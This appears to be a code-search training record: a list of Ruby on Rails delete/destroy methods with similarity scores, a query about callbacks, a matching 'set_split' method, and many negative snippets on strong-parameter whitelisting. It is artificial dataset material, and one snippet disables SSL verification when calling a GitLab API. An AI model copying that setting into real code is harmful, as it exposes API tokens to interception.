"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def deleteFlatpack( flatpack_id)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n return doCurl(\"delete\",\"/flatpack\",params)\n end",
"def destroy\n @segment_name = SegmentName.find(params[:id])\n @segment_name.destroy\n\n respond_to do |format|\n format.html { redirect_to segment_names_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lab_rack = LabRack.find(params[:id])\n @lab_rack.destroy\n\n respond_to do |format|\n format.html { redirect_to(lab_racks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n operations_check = OperationsCheck.find(params[:operations_check_id])\n @load_balancer_check = LoadBalancerCheck.find(params[:id])\n @load_balancer_check.destroy\n\n respond_to do |format|\n format.html { redirect_to operations_check_path(operations_check, tab: \"load_balancers\") }\n format.json { head :no_content }\n end\n end",
"def destroy\n @batch.destroy\n render json: @batch, status: :ok\n end",
"def destroy\n @slab = Slab.find(params[:id])\n @slab.destroy\n\n respond_to do |format|\n format.html { redirect_to slabs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lob.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @go_slim = GoSlim.find(params[:id])\n @go_slim.destroy\n\n respond_to do |format|\n format.html { redirect_to go_slims_url }\n format.json { head :no_content }\n end\n end",
"def delete(*rest) end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def destroy\n @splitter.destroy\n respond_to do |format|\n format.html { redirect_to splitters_url, notice: 'Splitter was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def delete!\n request! :delete\n end",
"def deleteBusiness_tool( tool_id)\n params = Hash.new\n params['tool_id'] = tool_id\n return doCurl(\"delete\",\"/business_tool\",params)\n end",
"def destroy\n @clapme_stage.destroy\n respond_to do |format|\n format.html { redirect_to website_stages_url }\n format.json { head :no_content }\n end\n end",
"def remove_jobs(job_ids)\n\n job_ids.each do |id|\n api_url = \"#{BASE_URL}/v4/projects/#{PROJECT_ID}/jobs/#{id}/erase\"\n\n begin\n response = RestClient::Request.new(\n :method => :post,\n :url => api_url,\n :verify_ssl => false,\n :headers => {\"PRIVATE-TOKEN\" => API_TOKEN}\n ).execute\n\n if response != nil && response.code == 204\n puts \"delete job #{id} => success\"\n else\n puts \"delete job #{id} => failed\"\n end\n\n rescue RestClient::ExceptionWithResponse => err\n puts \"delete job artifacts #{id} => error\"\n end\n\n end\n\nend",
"def destroy\n @roadblock.destroy\n respond_to do |format|\n format.html { redirect_to \"/roadblocks-dash\" }\n format.json { head :no_content }\n end\n end",
"def batch_delete(uuids)\n body = uuids.to_json\n request_delete(uri: '/files/storage/', content: body)\n end",
"def destroy\n @bla = Bla.find(params[:id])\n @bla.destroy\n\n respond_to do |format|\n format.html { redirect_to blas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @climb = Climb.find(params[:id])\n @climb.destroy\n\n respond_to do |format|\n format.html { redirect_to climbs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bench_test_s3 = BenchTest::S3.find(params[:id])\n @bench_test_s3.destroy\n\n respond_to do |format|\n format.html { redirect_to(bench_test_s3s_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n @batch.destroy\n head :no_content\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def destroy\n @climb_datum = ClimbDatum.find(params[:id])\n @climb_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to climb_data_url }\n format.json { head :no_content }\n end\n end",
"def delete(path_part, additional_headers = {}, &block)\n api_request { @rest.delete('/REST/' + path_part, \"\", additional_headers, &block) }\n end",
"def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end",
"def destroy\n @bucket_list.destroy\n respond_to do |format|\n format.html { redirect_to bucket_lists_url, notice: 'Delete successful.' }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def destroy\n @scenario = Scenario.find(params[:id])\n @scenario.destroy\n\n respond_to do |format|\n format.html { redirect_to scenarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scenario = Scenario.find(params[:id])\n @scenario.destroy\n\n respond_to do |format|\n format.html { redirect_to scenarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_metrics_dashboards_segment.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_metrics_dashboards_segments_url, notice: 'Metrics dashboards segment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n make_call(mk_conn(path), :delete)\n end",
"def destroy\n @lob.destroy\n\n head :no_content\n end",
"def delete_array_for_tenant(args = {}) \n delete(\"/tenants.json/#{args[:tenantId]}/arrays/#{args[:arrayId]}\", args)\nend",
"def destroy\n @migrations_lock.destroy\n respond_to do |format|\n format.html { redirect_to migrations_locks_url, notice: 'Migrations lock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dataset = Dataset.find(Dataset.decrypt(params[:id]))\n @dataset.works.each do |w|\n Work.check_n_destroy_locations(w)\n w.destroy\n end\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n Clenum.destroy params[:ids].split(',')\n\n respond_to do |format|\n format.html { redirect_to(clenums_url) }\n format.xml { head :ok }\n end\n end",
"def delete(path, params)\n request(:delete, path, {})\n end",
"def destroy\n @crawl_request = CrawlRequest.find(params[:id])\n @crawl_request.destroy\n\n head :no_content\n end",
"def destroy\n @crawl_request = CrawlRequest.find(params[:id])\n @crawl_request.destroy\n\n head :no_content\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def destroy\n @cluster = Cluster.find(params[:id])\n @cluster.destroy\n\n respond_to do |format|\n format.html { redirect_to clusters_url }\n format.json { head :ok }\n end\n end",
"def delete\n \n end",
"def bucket_delete_object(key)\n http.delete(\"/#{key}\", bucket: bucket, key: key)\n end",
"def destroy\n @shelf.destroy\n\n respond_to do |format|\n format.html { redirect_to shelves_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_run.destroy\n respond_to do |format|\n format.html { redirect_to test_runs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flat = Flat.find(params[:id])\n @flat.destroy\n\n respond_to do |format|\n format.html { redirect_to flats_url }\n format.json { head :ok }\n end\n end"
] |
[
"0.68012905",
"0.65741265",
"0.645117",
"0.6365106",
"0.620803",
"0.6162729",
"0.6156314",
"0.6150774",
"0.6146079",
"0.6134942",
"0.60868806",
"0.6068242",
"0.59982467",
"0.59869677",
"0.59481984",
"0.59379613",
"0.5935878",
"0.5928589",
"0.59187114",
"0.59006506",
"0.58982986",
"0.5889996",
"0.5872518",
"0.58641964",
"0.5861753",
"0.5839828",
"0.58349305",
"0.5833046",
"0.5833046",
"0.583293",
"0.5827105",
"0.5826302",
"0.58239216",
"0.58239216",
"0.58239216",
"0.58239216",
"0.5818614",
"0.5817815",
"0.5810647",
"0.5804042",
"0.5794907",
"0.57900375",
"0.5786216",
"0.5785396",
"0.5784647",
"0.57845163",
"0.57763934",
"0.5773393",
"0.5770051",
"0.57627535",
"0.57564074",
"0.5754999",
"0.57541245",
"0.575112",
"0.5744612",
"0.57432514",
"0.57405186",
"0.5740446",
"0.57380164",
"0.5736693",
"0.5736656",
"0.57282543",
"0.5717386",
"0.5712566",
"0.57115114",
"0.570811",
"0.57065547",
"0.5704528",
"0.5700725",
"0.5693417",
"0.5690963",
"0.56904954",
"0.56888044",
"0.56888044",
"0.56870365",
"0.5683594",
"0.56802934",
"0.56798524",
"0.56798124",
"0.56756395",
"0.567222",
"0.56648886",
"0.56648886",
"0.56643",
"0.56641227",
"0.56593806",
"0.56593275",
"0.5658841",
"0.56538147",
"0.5651111",
"0.56510794",
"0.5649377",
"0.5649377",
"0.56447446",
"0.5644482",
"0.5643365",
"0.56421196",
"0.5640757",
"0.5637954",
"0.5635835"
] |
0.66208994
|
1
|
Use callbacks to share common setup or constraints between actions.
|
def set_split
@split = Split.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def split_params
params.require(:split).permit(:availability_id, :user_id, :approved, :cancelled)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
